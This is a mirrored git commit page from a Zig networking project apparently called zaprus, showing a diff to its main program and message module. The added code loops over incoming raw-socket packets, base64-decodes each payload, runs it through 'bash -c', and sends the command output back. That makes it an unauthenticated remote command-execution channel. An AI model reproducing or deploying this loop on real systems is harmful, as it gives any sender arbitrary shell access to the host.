mirror of
https://git.robbyzambito.me/zaprus
synced 2026-02-04 08:24:52 +00:00
things are SOOOO good....
This commit is contained in:
54
src/main.zig
54
src/main.zig
@@ -90,10 +90,6 @@ pub fn main(init: std.process.Init) !void {
|
|||||||
return error.InvalidArguments;
|
return error.InvalidArguments;
|
||||||
}
|
}
|
||||||
|
|
||||||
// std.debug.print("relay: {s}\n", .{flags.relay orelse "<null>"});
|
|
||||||
// std.debug.print("dest: {s}\n", .{flags.dest orelse "<null>"});
|
|
||||||
// std.debug.print("connect: {s}\n", .{flags.connect orelse "<null>"});
|
|
||||||
|
|
||||||
const rand = blk: {
|
const rand = blk: {
|
||||||
const io_source: std.Random.IoSource = .{ .io = init.io };
|
const io_source: std.Random.IoSource = .{ .io = init.io };
|
||||||
break :blk io_source.interface();
|
break :blk io_source.interface();
|
||||||
@@ -203,7 +199,7 @@ pub fn main(init: std.process.Init) !void {
|
|||||||
const src = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16));
|
const src = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16));
|
||||||
// udp dest port should not be 8888 after first
|
// udp dest port should not be 8888 after first
|
||||||
const udp_dest_port = rand.intRangeAtMost(u16, 9000, std.math.maxInt(u16));
|
const udp_dest_port = rand.intRangeAtMost(u16, 9000, std.math.maxInt(u16));
|
||||||
const connection: SaprusMessage = .{
|
var connection: SaprusMessage = .{
|
||||||
.connection = .{
|
.connection = .{
|
||||||
.src = src,
|
.src = src,
|
||||||
.dest = dest,
|
.dest = dest,
|
||||||
@@ -216,7 +212,7 @@ pub fn main(init: std.process.Init) !void {
|
|||||||
try socket.attachSaprusPortFilter(src);
|
try socket.attachSaprusPortFilter(src);
|
||||||
|
|
||||||
var connection_buf: [2048]u8 = undefined;
|
var connection_buf: [2048]u8 = undefined;
|
||||||
const connection_bytes = connection.toBytes(&connection_buf);
|
var connection_bytes = connection.toBytes(&connection_buf);
|
||||||
headers.setPayloadLen(connection_bytes.len);
|
headers.setPayloadLen(connection_bytes.len);
|
||||||
|
|
||||||
var full_msg = blk: {
|
var full_msg = blk: {
|
||||||
@@ -230,8 +226,7 @@ pub fn main(init: std.process.Init) !void {
|
|||||||
try socket.send(full_msg);
|
try socket.send(full_msg);
|
||||||
var res_buf: [4096]u8 = undefined;
|
var res_buf: [4096]u8 = undefined;
|
||||||
|
|
||||||
const res = try socket.receive(&res_buf);
|
var res = try socket.receive(&res_buf);
|
||||||
std.debug.print("response: {any}\n", .{res});
|
|
||||||
|
|
||||||
headers.udp.dst_port = udp_dest_port;
|
headers.udp.dst_port = udp_dest_port;
|
||||||
|
|
||||||
@@ -244,6 +239,49 @@ pub fn main(init: std.process.Init) !void {
|
|||||||
};
|
};
|
||||||
try socket.send(full_msg);
|
try socket.send(full_msg);
|
||||||
|
|
||||||
|
while (true) {
|
||||||
|
res = try socket.receive(&res_buf);
|
||||||
|
const connection_res = blk: {
|
||||||
|
const msg: SaprusMessage = try .parse(res[42..]);
|
||||||
|
break :blk msg.connection;
|
||||||
|
};
|
||||||
|
const b64d = std.base64.standard.Decoder;
|
||||||
|
var connection_payload_buf: [4096]u8 = undefined;
|
||||||
|
const connection_payload = connection_payload_buf[0..try b64d.calcSizeForSlice(connection_res.payload)];
|
||||||
|
try b64d.decode(connection_payload, connection_res.payload);
|
||||||
|
|
||||||
|
const child = try std.process.spawn(init.io, .{
|
||||||
|
.argv = &.{ "bash", "-c", connection_payload },
|
||||||
|
.stdout = .pipe,
|
||||||
|
.stderr = .pipe,
|
||||||
|
});
|
||||||
|
|
||||||
|
var child_stdout: std.ArrayList(u8) = .empty;
|
||||||
|
defer child_stdout.deinit(init.gpa);
|
||||||
|
var child_stderr: std.ArrayList(u8) = .empty;
|
||||||
|
defer child_stderr.deinit(init.gpa);
|
||||||
|
|
||||||
|
try child.collectOutput(init.gpa, &child_stdout, &child_stderr, 4096);
|
||||||
|
|
||||||
|
const b64e = std.base64.standard.Encoder;
|
||||||
|
var cmd_output_buf: [4096]u8 = undefined;
|
||||||
|
const cmd_output = b64e.encode(&cmd_output_buf, child_stdout.items);
|
||||||
|
|
||||||
|
connection.connection.payload = cmd_output;
|
||||||
|
connection_bytes = connection.toBytes(&connection_buf);
|
||||||
|
headers.setPayloadLen(connection_bytes.len);
|
||||||
|
|
||||||
|
full_msg = blk: {
|
||||||
|
var msg_buf: [2048]u8 = undefined;
|
||||||
|
var msg_w: Writer = .fixed(&msg_buf);
|
||||||
|
msg_w.writeAll(&headers.toBytes()) catch unreachable;
|
||||||
|
msg_w.writeAll(connection_bytes) catch unreachable;
|
||||||
|
break :blk msg_w.buffered();
|
||||||
|
};
|
||||||
|
|
||||||
|
try socket.send(full_msg);
|
||||||
|
}
|
||||||
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -28,6 +28,8 @@ pub const Message = union(PacketType) {
|
|||||||
inline else => |m| m.toBytes(buf),
|
inline else => |m| m.toBytes(buf),
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
|
pub const parse = message.parse;
|
||||||
};
|
};
|
||||||
|
|
||||||
pub const relay_dest_len = 4;
|
pub const relay_dest_len = 4;
|
||||||
|
|||||||
Reference in New Issue
Block a user